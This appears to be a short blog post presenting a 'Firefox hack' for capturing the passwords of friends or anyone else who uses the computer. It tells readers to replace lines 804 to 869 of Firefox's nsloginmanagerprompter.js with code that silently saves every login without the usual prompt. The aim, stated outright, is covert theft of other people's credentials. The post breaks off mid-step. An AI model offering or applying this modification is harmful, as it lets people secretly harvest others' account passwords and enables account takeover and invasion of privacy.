Its a simple Firefox hack which helps you to hack your friends easily. When ever you try to login in any account,firefox shows a notification asking for store user name and password for this website. But after using this trick it will never ask to store the password but it would automatically store all the password. Its ideal trick if you want to get someones login details who uses your computer. Step To Do This Firefox Hack 1) First you need to close firefox. 2) Now locate the nsloginmanagerprompter.js which is normally found in C:\ProgramFiles\MozillaFirefox\Components\ 3) Open nsloginmanagerprompter.js with notepad ++ 4) Replace the entire line 804 to 869 with the following code var pwmgr = this._pwmgr; pwmgr.addLogin(aLogin); When you've done that "save as" to your desktop, then drag back in to the original folder and replace the file. To see the usernames + passwords you need to click on tools at the top of your browser and go to ...